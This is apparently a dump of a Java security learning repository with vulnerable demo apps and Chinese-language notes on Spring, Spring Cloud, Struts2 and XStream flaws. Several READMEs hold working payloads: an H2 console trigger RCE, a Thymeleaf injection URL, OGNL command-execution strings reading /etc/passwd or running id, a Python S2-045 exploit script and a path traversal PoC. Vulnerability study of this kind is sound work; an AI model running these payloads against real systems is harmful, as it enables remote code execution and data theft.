findByLastName(@Param("name") String name);
13 |
14 | }
15 |
--------------------------------------------------------------------------------
/Spring/CVE-2018-1270-SPEL/CVE-2018-1270-master/CVE-2018-1270-master/README.md:
--------------------------------------------------------------------------------
1 | # CVE-2018-1270
2 |
3 | CVE-2018-1270 表达式RCE环境
4 |
--------------------------------------------------------------------------------
/Spring/CVE-2018-1270-SPEL/CVE-2018-1270-master/CVE-2018-1270-master/src/main/java/com/venscor/demo/Bean/Greeting.java:
--------------------------------------------------------------------------------
1 | package com.venscor.demo.Bean;
2 |
3 | /**
4 | * @ClassName Greeting
5 | * @Description TODO
6 | * @Author wangyu89
7 | * @Create Time 2018/12/13 22:40
8 | * @Version 1.0
9 | */
10 | public class Greeting {
11 | private String content;
12 |
13 | public Greeting() {
14 | }
15 |
16 | public Greeting(String content) {
17 | this.content = content;
18 | }
19 |
20 | public String getContent() {
21 | return content;
22 | }
23 | }
24 |
--------------------------------------------------------------------------------
/Spring/CVE-2018-1270-SPEL/CVE-2018-1270-master/CVE-2018-1270-master/src/main/java/com/venscor/demo/Bean/HelloMessage.java:
--------------------------------------------------------------------------------
1 | package com.venscor.demo.Bean;
2 |
3 | /**
4 | * @ClassName HelloMessage
5 | * @Description TODO
6 | * @Author wangyu89
7 | * @Create Time 2018/12/13 22:40
8 | * @Version 1.0
9 | */
10 | public class HelloMessage {
11 | private String name;
12 |
13 | public HelloMessage() {
14 | }
15 |
16 | public HelloMessage(String name) {
17 | this.name = name;
18 | }
19 |
20 | public String getName() {
21 | return name;
22 | }
23 |
24 | public void setName(String name) {
25 | this.name = name;
26 | }
27 | }
28 |
--------------------------------------------------------------------------------
/Spring/CVE-2018-1270-SPEL/CVE-2018-1270-master/CVE-2018-1270-master/src/main/java/com/venscor/demo/Controller/GreetingController.java:
--------------------------------------------------------------------------------
1 | package com.venscor.demo.Controller;
2 |
3 | import com.venscor.demo.Bean.Greeting;
4 | import com.venscor.demo.Bean.HelloMessage;
5 | import org.springframework.messaging.handler.annotation.MessageMapping;
6 | import org.springframework.messaging.handler.annotation.SendTo;
7 | import org.springframework.stereotype.Controller;
8 | import org.springframework.web.util.HtmlUtils;
9 |
10 | /**
11 | * @ClassName GreetingController
12 | * @Description TODO
13 | * @Author wangyu89
14 | * @Create Time 2018/12/13 22:39
15 | * @Version 1.0
16 | */
17 | @Controller
18 | public class GreetingController {
19 | @MessageMapping("/hello")
20 | @SendTo("/topic/greetings")
21 | public Greeting greeting(HelloMessage message) throws Exception {
22 | Thread.sleep(1000); // simulated delay
23 | return new Greeting("Hello, " + HtmlUtils.htmlEscape(message.getName()) + "!");
24 | }
25 | }
26 |
--------------------------------------------------------------------------------
/Spring/CVE-2018-1270-SPEL/CVE-2018-1270-master/CVE-2018-1270-master/src/main/java/com/venscor/demo/SpringmessagespelApplication.java:
--------------------------------------------------------------------------------
1 | package com.venscor.demo;
2 |
3 | import org.springframework.boot.SpringApplication;
4 | import org.springframework.boot.autoconfigure.SpringBootApplication;
5 |
6 | @SpringBootApplication
7 | public class SpringmessagespelApplication {
8 |
9 | public static void main(String[] args) {
10 | SpringApplication.run(SpringmessagespelApplication.class, args);
11 | }
12 |
13 | }
14 |
15 |
--------------------------------------------------------------------------------
/Spring/CVE-2018-1270-SPEL/CVE-2018-1270-master/CVE-2018-1270-master/src/main/java/com/venscor/demo/WebSocketConfig.java:
--------------------------------------------------------------------------------
1 | package com.venscor.demo;
2 |
3 | import org.springframework.context.annotation.Configuration;
4 | import org.springframework.messaging.simp.config.MessageBrokerRegistry;
5 | import org.springframework.web.socket.config.annotation.EnableWebSocketMessageBroker;
6 | import org.springframework.web.socket.config.annotation.StompEndpointRegistry;
7 | import org.springframework.web.socket.config.annotation.WebSocketMessageBrokerConfigurer;
8 |
9 | /**
10 | * @ClassName WebSocketConfig
11 | * @Description TODO
12 | * @Author wangyu89
13 | * @Create Time 2018/12/13 22:31
14 | * @Version 1.0
15 | */
16 | @Configuration
17 | @EnableWebSocketMessageBroker
18 | public class WebSocketConfig implements WebSocketMessageBrokerConfigurer {
19 | @Override
20 | public void registerStompEndpoints(StompEndpointRegistry registry) {
21 | registry.addEndpoint("/gs-guide-websocket").withSockJS();
22 | }
23 |
24 | @Override
25 | public void configureMessageBroker(MessageBrokerRegistry registry) {
26 | registry.enableSimpleBroker("/topic");
27 | registry.setApplicationDestinationPrefixes("/app");
28 | }
29 | }
30 |
--------------------------------------------------------------------------------
/Spring/CVE-2018-1270-SPEL/CVE-2018-1270.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/kezibei/Java/1a85659e2eeb8bfa2ef75f6c27521fce940be32c/Spring/CVE-2018-1270-SPEL/CVE-2018-1270.pdf
--------------------------------------------------------------------------------
/Spring/CVE-2018-1270-SPEL/分析.assets/012A8071.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/kezibei/Java/1a85659e2eeb8bfa2ef75f6c27521fce940be32c/Spring/CVE-2018-1270-SPEL/分析.assets/012A8071.png
--------------------------------------------------------------------------------
/Spring/CVE-2018-1270-SPEL/分析.assets/1.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/kezibei/Java/1a85659e2eeb8bfa2ef75f6c27521fce940be32c/Spring/CVE-2018-1270-SPEL/分析.assets/1.gif
--------------------------------------------------------------------------------
/Spring/CVE-2018-1270-SPEL/分析.assets/image-20210220152220717.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/kezibei/Java/1a85659e2eeb8bfa2ef75f6c27521fce940be32c/Spring/CVE-2018-1270-SPEL/分析.assets/image-20210220152220717.png
--------------------------------------------------------------------------------
/Spring/CVE-2018-1270-SPEL/分析.assets/image-20210220154332152.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/kezibei/Java/1a85659e2eeb8bfa2ef75f6c27521fce940be32c/Spring/CVE-2018-1270-SPEL/分析.assets/image-20210220154332152.png
--------------------------------------------------------------------------------
/Spring/CVE-2018-1270-SPEL/分析.assets/image-20210220154922801.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/kezibei/Java/1a85659e2eeb8bfa2ef75f6c27521fce940be32c/Spring/CVE-2018-1270-SPEL/分析.assets/image-20210220154922801.png
--------------------------------------------------------------------------------
/Spring/CVE-2018-1270-SPEL/分析.assets/image-20210220160150498.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/kezibei/Java/1a85659e2eeb8bfa2ef75f6c27521fce940be32c/Spring/CVE-2018-1270-SPEL/分析.assets/image-20210220160150498.png
--------------------------------------------------------------------------------
/Spring/CVE-2018-1270-SPEL/分析.assets/image-20210220160459956.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/kezibei/Java/1a85659e2eeb8bfa2ef75f6c27521fce940be32c/Spring/CVE-2018-1270-SPEL/分析.assets/image-20210220160459956.png
--------------------------------------------------------------------------------
/Spring/CVE-2018-1270-SPEL/分析.assets/image-20210220161508697.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/kezibei/Java/1a85659e2eeb8bfa2ef75f6c27521fce940be32c/Spring/CVE-2018-1270-SPEL/分析.assets/image-20210220161508697.png
--------------------------------------------------------------------------------
/Spring/CVE-2018-1270-SPEL/分析.assets/image-20210220161825423.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/kezibei/Java/1a85659e2eeb8bfa2ef75f6c27521fce940be32c/Spring/CVE-2018-1270-SPEL/分析.assets/image-20210220161825423.png
--------------------------------------------------------------------------------
/Spring/CVE-2018-1270-SPEL/分析.assets/image-20210220161931650.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/kezibei/Java/1a85659e2eeb8bfa2ef75f6c27521fce940be32c/Spring/CVE-2018-1270-SPEL/分析.assets/image-20210220161931650.png
--------------------------------------------------------------------------------
/Spring/CVE-2018-1270-SPEL/分析.assets/image-20210220162251047.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/kezibei/Java/1a85659e2eeb8bfa2ef75f6c27521fce940be32c/Spring/CVE-2018-1270-SPEL/分析.assets/image-20210220162251047.png
--------------------------------------------------------------------------------
/Spring/CVE-2018-1270-SPEL/分析.assets/未命名-副本.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/kezibei/Java/1a85659e2eeb8bfa2ef75f6c27521fce940be32c/Spring/CVE-2018-1270-SPEL/分析.assets/未命名-副本.gif
--------------------------------------------------------------------------------
/Spring/Readme.md:
--------------------------------------------------------------------------------
1 | # Spring
2 |
3 | + [aop技术](./spring-aop底层.pdf)
4 | + [cve-2016-4977]()
5 | + [cve-2017-4971]()
6 | + [cve-2018-1270]()
7 |
--------------------------------------------------------------------------------
/Spring/spring-aop底层.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/kezibei/Java/1a85659e2eeb8bfa2ef75f6c27521fce940be32c/Spring/spring-aop底层.pdf
--------------------------------------------------------------------------------
/Springboot/Readme.md:
--------------------------------------------------------------------------------
1 | # Springboot 漏洞
2 |
3 | 参考:https://github.com/LandGrey/SpringBootVulExploit
4 | 写的非常全.
5 |
6 | **该系列漏洞主要是通过env的配置接口进行配置,刷新或者重启触发漏洞**
7 |
8 | 补:0x07:h2 database console JNDI RCE
9 |
10 | 限制:
11 | 开启 -webAllowOthers 选项,支持外网访问
12 | 开启 -ifNotExists 选项,支持创建数据库
13 |
14 | 不需要出网利用:
15 | ```
16 | language=en&setting=Generic+H2+%28Embedded%29&name=Generic+H2+%28Embedded%29&driver=org.h2.Driver&url=jdbc%3ah2%3amem%3atest%3bMODE%3dMSSQLServer%3binit%3dCREATE+TRIGGER+shell3+BEFORE+SELECT+ON+INFORMATION_SCHEMA.TABLES+AS+$$//javascript%0a%0ajava.lang.Runtime.getRuntime().exec('cmd+/c+calc.exe')$$&user=sa&password=
17 | ```
18 |
--------------------------------------------------------------------------------
/Springcolud/Readme.md:
--------------------------------------------------------------------------------
1 | # Springcolud
2 |
3 | ## CVE-2021-22053
4 |
5 | >今天有幸看到了三梦师傅写的[CVE-2021-22053: Spring Cloud Netflix Dashboard template resolution vulnerability](https://github.com/SecCoder-Security-Lab/spring-cloud-netflix-hystrix-dashboard-cve-2021-22053) poc,在好自己最近在看spring-cloud这些微服务,然后就简单的看了看学习。
6 |
7 | 先简单的介绍一下**hystrix**
8 |
9 | ## Hystrix
10 |
11 | 容错监控机制
12 |
13 | 也就是微服务的容错机制是提前预设解决⽅案,系统进⾏⾃主调节,遇到问题及时处理
14 |
15 | ### Hystrix的优点
16 |
17 | ```
18 | 服务隔离机制
19 | 服务降级机制
20 | 熔断机制
21 | 提供实时的监控和报警功能
22 | 提供实时的配置修改功能
23 | ```
24 |
25 | 而hystrix-dashboard 就是可视化界⾯组件。
26 |
27 | 所以简单的说spring-cloud-starter-netflix-hystrix-dashboard 就是springcolud中的一个组件,是**Hystrix** 容错监控机制的可视化界⾯组件。
28 |
29 |
30 |
31 | ## 复现
32 |
33 | 三梦师傅也说明了漏洞版本
34 |
35 | 漏洞版本:spring-cloud-starter-netflix-hystrix-dashboard **2.2.0.RELEASE to 2.2.9.RELEASE**
36 |
37 | 并且三梦师傅提供了漏洞环境,本地搭建起测试了一下,成功利用。
38 |
39 | 
40 |
41 |
42 | ## 分析
43 |
44 | 还是经典的对比分析,对比漏洞版本和fix版本
45 |
46 | 
47 |
48 |
49 | 可以发现漏洞版本对{path}变量可以控制,熟悉**Thymeleaf**模板注入的师傅一眼就可以看出来了。
50 |
51 | 在该版本依赖的Thymeleaf组件版本是3.0.12。正好三梦师傅师傅之前写过文章bypass。前几天panda师傅也发了文章关于这部分进行介绍。
52 |
53 | 
54 |
55 |
56 | poc
57 |
58 | ```http
59 | http://127.0.0.1:8080/hystrix/;/__$%7BT%20(java.lang.Runtime).getRuntime().exec(%22calc%22)%7D__::.x/
60 | ```
61 |
62 |
--------------------------------------------------------------------------------
/Struts2/README.md:
--------------------------------------------------------------------------------
1 | # Struts02漏洞学习
2 |
3 | >前段时间就开始学习java安全了,之前分析过spring框架的spel表达式注入,都是使用构造好的环境。所有在环境搭建方面没有花费很多时间,于是就开始了Struts框架漏洞学习。
4 |
5 | **Struts框架**可以说是漏洞最多的框架,而基本上是使用`OGNL表达式注入`其实就有点和`EL`表达式,都是为了方便写代码。。。可能我是这么理解的。
6 |
7 | [OGNL表达式介绍](https://www.cnblogs.com/renchunxiao/p/3423299.html)
8 |
9 | 还有说明一下,这里的环境都是自己搭建的,使用花费了我好多时间。。。(因为`struts.xml`配置文件前面多了一个空格导致环境出问题。。还是自己tcl)这里推荐去了解一下Struts02框架。简简单单的学习一下就OK。
10 |
11 | [Struts2框架基础](https://www.cnblogs.com/cenyu/p/6219894.html)可以看文章也可以看视频,我比较笨就看的视频加看文章。[2020最新Struts2框架教程——SSH系列](https://www.bilibili.com/video/BV1tp4y1v7gc)
12 |
13 | **接下来就开始我们的Struts02漏洞学习**
14 | 之前看了一个文章比较好,可以说是Struts2漏洞的原理吧。。。
15 | [Struts2漏洞利用原理及OGNL机制研究](https://xz.aliyun.com/t/225#toc-0)
16 |
17 | ## 下面是搭建搭建
18 | 漏洞版本去官网下载就可以
19 | [漏洞版本](http://archive.apache.org/dist/struts/binaries/)
20 | 
21 |
22 |
--------------------------------------------------------------------------------
/Struts2/Struts2-001/Struts001.java:
--------------------------------------------------------------------------------
1 | package com.vulhub.struts;
2 |
3 | import com.opensymphony.xwork2.ActionSupport;
4 |
5 | public class Struts001 extends ActionSupport {
6 | private String username;
7 | private String password;
8 |
9 |
10 | @Override
11 | public String execute() throws Exception {
12 | if ((this.username.isEmpty()) || (this.password.isEmpty())) {
13 | return "error";
14 | }
15 | if ((this.username.equalsIgnoreCase("admin"))
16 | && (this.password.equals("admin"))
17 | ) {
18 | return "success";
19 | }
20 | return "error";
21 |
22 | }
23 | public void setPassword(String password) {
24 | this.password = "%{1+1}";
25 | }
26 |
27 | public String getPassword() {
28 | return password;
29 | }
30 |
31 | public String getUsername() {
32 | return username;
33 | }
34 |
35 | public void setUsername(String username) {
36 | this.username = username;
37 | }
38 | }
39 |
--------------------------------------------------------------------------------
/Struts2/Struts2-001/Struts02-001简单分析.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/kezibei/Java/1a85659e2eeb8bfa2ef75f6c27521fce940be32c/Struts2/Struts2-001/Struts02-001简单分析.pdf
--------------------------------------------------------------------------------
/Struts2/Struts2-001/index.jsp:
--------------------------------------------------------------------------------
1 | <%@ page language="java" contentType="text/html; charset=UTF-8"
2 | pageEncoding="UTF-8"%>
3 | <%@ taglib prefix="s" uri="/struts-tags" %>
4 |
5 |
6 |
7 |
8 | S2-001
9 |
10 |
11 | S2-001 Demo
12 | link: https://cwiki.apache.org/confluence/display/WW/S2-001
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
--------------------------------------------------------------------------------
/Struts2/Struts2-001/pom.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
5 | 4.0.0
6 |
7 | org.vulhub.web
8 | struts01
9 | 1.0-SNAPSHOT
10 | war
11 |
12 | struts01 Maven Webapp
13 |
14 | http://www.example.com
15 |
16 |
17 | UTF-8
18 | 1.7
19 | 1.7
20 |
21 |
22 |
23 |
24 | junit
25 | junit
26 | 4.11
27 | test
28 |
29 |
30 |
31 | org.apache.struts
32 | struts2-core
33 | 2.0.8
34 |
35 |
36 |
37 | org.apache.logging.log4j
38 | log4j-core
39 | 2.10.0
40 |
41 |
42 |
43 |
44 |
45 |
46 |
--------------------------------------------------------------------------------
/Struts2/Struts2-001/struts.xml:
--------------------------------------------------------------------------------
1 |
2 |
4 |
5 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
21 | /show.jsp
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 | /welcome.jsp
31 | /struts001.jsp
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
--------------------------------------------------------------------------------
/Struts2/Struts2-001/web.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 | struts2
8 |
9 | org.apache.struts2.dispatcher.FilterDispatcher
10 |
11 |
12 |
13 | struts2
14 |
15 | /*
16 |
17 | Archetype Created Web Application
18 |
19 |
20 |
--------------------------------------------------------------------------------
/Struts2/Struts2-002/Struts02-002简单分析.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/kezibei/Java/1a85659e2eeb8bfa2ef75f6c27521fce940be32c/Struts2/Struts2-002/Struts02-002简单分析.pdf
--------------------------------------------------------------------------------
/Struts2/Struts2-002/index.jsp:
--------------------------------------------------------------------------------
1 |
4 |
5 | <%@taglib prefix="s" uri="/struts-tags" %>
6 |
7 |
8 |
9 |
10 | ">你好Struts2
11 |
12 |
13 |
--------------------------------------------------------------------------------
/Struts2/Struts2-004/README.md:
--------------------------------------------------------------------------------
1 | # Struts2-004
2 |
3 | ## 漏洞概要
4 |
5 | Struts2-004是一个目录遍历漏洞。
6 |
7 | 影响版本: **Struts 2.0.0 - 2.0.11.2、Struts 2.1.0 - 2.1.2** 。
8 |
9 | 官方通告:https://cwiki.apache.org/confluence/display/WW/S2-004
10 |
11 | ## 漏洞原理
12 |
13 | 本次漏洞,主要问题出现在 **FilterDispatcher** 类对静态资源文件的处理。当请求资源文件路径以 **/struts** 开头时,就会调用 **findStaticResource** 方法寻找资源。
14 |
15 | ```java
16 | if (serveStatic && resourcePath.startsWith("/struts")) {
17 | String name = resourcePath.substring("/struts".length());
18 | this.findStaticResource(name, request, response);
19 | } else {
20 | chain.doFilter(request, response);
21 | }
22 | ```
23 |
24 | 跟进 **findStaticResource** 方法,我们发现如果文件后缀不为 **.class** ,则调用 **findInputStream** 来读取文件内容,而且文件路径会进行一次 **URLdecode** ,但是这里没有对文件名进行任何过滤,这也导致了路径穿越问题。
25 |
26 | ```java
27 | if (!name.endsWith(".class")) {
28 | String[] arr$ = this.pathPrefixes;
29 | int len$ = arr$.length;
30 |
31 | for(int i$ = 0; i$ < len$; ++i$) {
32 | String pathPrefix = arr$[i$];
33 | InputStream is = this.findInputStream(name, pathPrefix);//读文件
34 | ...
35 | }
36 | ```
37 |
38 | poc:`http://localhost:8081/struts/..%2f..%2f`
39 |
40 | ## 漏洞修复
41 |
42 | 修复代码,使用 **URL.getFile()** 获取文件的真实路径,然后在用 **endWith** 来判断后缀,二者结合可以有效解决路径穿越问题。
43 |
44 | ## 参考
45 |
46 | >https://mochazz.github.io/2020/06/28/Java%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E4%B9%8BStruts2-004/
47 |
--------------------------------------------------------------------------------
/Struts2/Struts2-007/Struts007.java:
--------------------------------------------------------------------------------
1 | package com.vulhub.struts;
2 |
3 | import com.opensymphony.xwork2.ActionSupport;
4 |
5 | public class Struts007 extends ActionSupport {
6 | private Integer age = null;
7 | private String name = null;
8 | private String email = null;
9 |
10 | public Struts007() {
11 | }
12 |
13 | public void setAge(Integer age) {
14 | this.age = age;
15 | }
16 |
17 | public Integer getAge() {
18 | return this.age;
19 | }
20 |
21 | public void setName(String name) {
22 | this.name = name;
23 | }
24 |
25 | public String getName() {
26 | return this.name;
27 | }
28 |
29 | public void setEmail(String email) {
30 | this.email = email;
31 | }
32 |
33 | public String getEmail() {
34 | return this.email;
35 | }
36 |
37 | public String execute() throws Exception {
38 | return !this.name.isEmpty() && !this.email.isEmpty() ? "success" : "error";
39 | }
40 | }
41 |
--------------------------------------------------------------------------------
/Struts2/Struts2-007/Struts2-007简单分析.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/kezibei/Java/1a85659e2eeb8bfa2ef75f6c27521fce940be32c/Struts2/Struts2-007/Struts2-007简单分析.pdf
--------------------------------------------------------------------------------
/Struts2/Struts2-007/UserAction-validation.xml:
--------------------------------------------------------------------------------
1 |
2 |
5 |
6 |
7 |
8 | 1
9 | 150
10 |
11 |
12 |
13 |
--------------------------------------------------------------------------------
/Struts2/Struts2-007/index.jsp:
--------------------------------------------------------------------------------
1 | <%@ page language="java" contentType="text/html; charset=UTF-8"
2 | pageEncoding="UTF-8"%>
3 | <%@ taglib prefix="s" uri="/struts-tags" %>
4 |
5 |
6 |
7 |
8 | S2-007
9 |
10 |
11 | S2-007 Demo
12 | link: https://struts.apache.org/docs/s2-007.html
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
--------------------------------------------------------------------------------
/Struts2/Struts2-007/struts.xml:
--------------------------------------------------------------------------------
1 |
2 |
4 |
5 |
11 |
12 |
13 |
14 |
15 |
16 | /welcome.jsp
17 | /index.jsp
18 | /index.jsp
19 |
20 |
21 |
22 |
23 |
--------------------------------------------------------------------------------
/Struts2/Struts2-007/welcome.jsp:
--------------------------------------------------------------------------------
1 | <%@ page language="java" contentType="text/html; charset=UTF-8"
2 | pageEncoding="UTF-8"%>
3 | <%@ taglib prefix="s" uri="/struts-tags" %>
4 |
5 |
6 |
7 |
8 | S2-007
9 |
10 |
11 | Name:
12 | Email:
13 | Age:
14 |
15 |
16 |
--------------------------------------------------------------------------------
/Struts2/Struts2-009/1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/kezibei/Java/1a85659e2eeb8bfa2ef75f6c27521fce940be32c/Struts2/Struts2-009/1.png
--------------------------------------------------------------------------------
/Struts2/Struts2-012/README.md:
--------------------------------------------------------------------------------
1 | # Struts2-012
2 |
3 | ## 漏洞介绍
4 |
5 | 该漏洞是在`struts.xml`中使用了重定向类型,并且还使用 ${param_name} 作为重定向变量。当触发 redirect 类型返回时,Struts2 获取使用 ${name} 获取其值,在这个过程中会对 name 参数的值执行 OGNL 表达式解析,从而可以插入任意 OGNL 表达式导致命令执行。
6 |
7 | ## 漏洞版本
8 |
9 | 影响版本: 2.1.0 - 2.3.13
10 |
11 | 漏洞详情: http://struts.apache.org/docs/s2-012.html
12 |
13 | ## 配置文件内容
14 |
15 | `struts.xml`
16 |
17 | ```xml
18 |
19 |
20 | /index.jsp?name=${name}
21 | /index.jsp
22 | /index.jsp
23 |
24 |
25 | ```
26 |
27 | ## poc
28 |
29 | ```
30 | %{
31 | #a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat", "/etc/passwd"})).redirectErrorStream(true).start(),
32 | #b=#a.getInputStream(),
33 | #c=new java.io.InputStreamReader(#b),
34 | #d=new java.io.BufferedReader(#c),
35 | #e=new char[50000],
36 | #d.read(#e),
37 | #f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
38 | #f.getWriter().println(new java.lang.String(#e)),
39 | #f.getWriter().flush(),
40 | #f.getWriter().close()
41 | }
42 | ```
43 | ## 参考
44 | >https://github.com/vulhub/vulhub/blob/master/struts2/s2-012/README.zh-cn.md
45 |
--------------------------------------------------------------------------------
/Struts2/Struts2-013/README.md:
--------------------------------------------------------------------------------
1 | # Struts2-013/014
2 |
3 | ## 漏洞介绍
4 |
5 | 在Struts2 的标签中`` 和 `` 都包含一个 includeParams 属性其值可设置为 none,get 或 all,参考官方其对应意义如下:
6 |
7 | 1. none - 链接不包含请求的任意参数值(默认)
8 | 2. get - 链接只包含 GET 请求中的参数和其值
9 | 3. all - 链接包含 GET 和 POST 所有参数和其值
10 |
11 | ``用来显示一个超链接,当`includeParams=all`的时候,会将本次请求的GET和POST参数都放在URL的GET参数上。在放置参数的过程中会将参数进行OGNL渲染,造成任意命令执行漏洞。
12 |
13 | ## 漏洞版本
14 |
15 | 影响版本: 2.0.0 - 2.3.14.1
16 |
17 | 漏洞详情:
18 |
19 | - http://struts.apache.org/docs/s2-013.html
20 | - http://struts.apache.org/docs/s2-014.html
21 |
22 | ## poc
23 |
24 | ```
25 | ${(#_memberAccess["allowStaticMethodAccess"]=true,#a=@java.lang.Runtime@getRuntime().exec('id').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#out=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#out.println(#d),#out.close())}
26 |
27 | // 或
28 |
29 | ${#_memberAccess["allowStaticMethodAccess"]=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())}
30 | ```
31 |
32 | **url编码**
33 |
34 | ```
35 | a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('env').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println('dbapp%3D'%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D
36 | ```
37 |
38 | ## 参考
39 |
40 | >https://github.com/vulhub/vulhub/blob/master/struts2/s2-013/README.zh-cn.md
41 |
--------------------------------------------------------------------------------
/Struts2/Struts2-045/README.md:
--------------------------------------------------------------------------------
1 | # S2-045 远程代码执行漏洞(CVE-2017-5638)
2 | 影响版本: Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10
3 |
4 | 简单的说就是在处理Content-Type的post请求的时候使用了ognl表达式注入。注意Content-Type:必须含有multipart/form-data,
5 | ## poc
6 | ```python
7 | import requests
8 |
9 | url = ""
10 | headers={
11 | 'Content-Type':'''"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='env').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}".multipart/form-data'''
12 | }
13 | re = requests.post(url,headers=headers)
14 | print(re.text)
15 | ```
16 |
--------------------------------------------------------------------------------
/Struts2/img/README.md:
--------------------------------------------------------------------------------
1 | # 照片
2 |
--------------------------------------------------------------------------------
/Struts2/img/环境.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/kezibei/Java/1a85659e2eeb8bfa2ef75f6c27521fce940be32c/Struts2/img/环境.png
--------------------------------------------------------------------------------
/Weblogic/img/image-20210815001234456.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/kezibei/Java/1a85659e2eeb8bfa2ef75f6c27521fce940be32c/Weblogic/img/image-20210815001234456.png
--------------------------------------------------------------------------------
/Weblogic/img/image-20210815103726507.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/kezibei/Java/1a85659e2eeb8bfa2ef75f6c27521fce940be32c/Weblogic/img/image-20210815103726507.png
--------------------------------------------------------------------------------
/Weblogic/img/image-20210815103750342.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/kezibei/Java/1a85659e2eeb8bfa2ef75f6c27521fce940be32c/Weblogic/img/image-20210815103750342.png
--------------------------------------------------------------------------------
/Weblogic/img/image-20210815110026954.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/kezibei/Java/1a85659e2eeb8bfa2ef75f6c27521fce940be32c/Weblogic/img/image-20210815110026954.png
--------------------------------------------------------------------------------
/Weblogic/img/image-20210815110029190.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/kezibei/Java/1a85659e2eeb8bfa2ef75f6c27521fce940be32c/Weblogic/img/image-20210815110029190.png
--------------------------------------------------------------------------------
/Weblogic/img/image-20210815153940829.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/kezibei/Java/1a85659e2eeb8bfa2ef75f6c27521fce940be32c/Weblogic/img/image-20210815153940829.png
--------------------------------------------------------------------------------
/Xstream/exp/CSRF/CVE-2021-21349.xml:
--------------------------------------------------------------------------------
1 | no find...
--------------------------------------------------------------------------------
/Xstream/exp/DOS/CVE-2017-7957.xml:
--------------------------------------------------------------------------------
1 | no find...
--------------------------------------------------------------------------------
/Xstream/exp/DOS/CVE-2021-21348.xml:
--------------------------------------------------------------------------------
1 | no find...
--------------------------------------------------------------------------------
/Xstream/exp/RCE/CVE-2013-7285-2.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 | fookey
4 | foovalue
5 |
6 |
7 |
8 | java.lang.Comparable
9 |
10 |
11 |
12 | calc.exe
13 |
14 |
15 | start
16 |
17 |
18 | good
19 |
20 |
--------------------------------------------------------------------------------
/Xstream/exp/RCE/CVE-2013-7285.xml:
--------------------------------------------------------------------------------
1 |
2 | foo
3 |
4 | java.lang.Comparable
5 |
6 |
7 |
8 | cmd
9 | /C
10 | calc
11 |
12 |
13 | start
14 |
15 |
16 |
--------------------------------------------------------------------------------
/Xstream/exp/RCE/CVE-2019-10173.xml:
--------------------------------------------------------------------------------
1 |
2 | foo
3 |
4 | java.lang.Comparable
5 |
6 |
7 |
8 | cmd
9 | /C
10 | calc
11 |
12 |
13 | start
14 |
15 |
16 |
--------------------------------------------------------------------------------
/Xstream/exp/RCE/CVE-2021-21346.xml:
--------------------------------------------------------------------------------
1 | no find...
--------------------------------------------------------------------------------
/Xstream/exp/RCE/CVE-2021-21347.xml:
--------------------------------------------------------------------------------
1 | no find..
--------------------------------------------------------------------------------
/Xstream/exp/RCE/CVE-2021-21350.xml:
--------------------------------------------------------------------------------
1 | no find..
--------------------------------------------------------------------------------
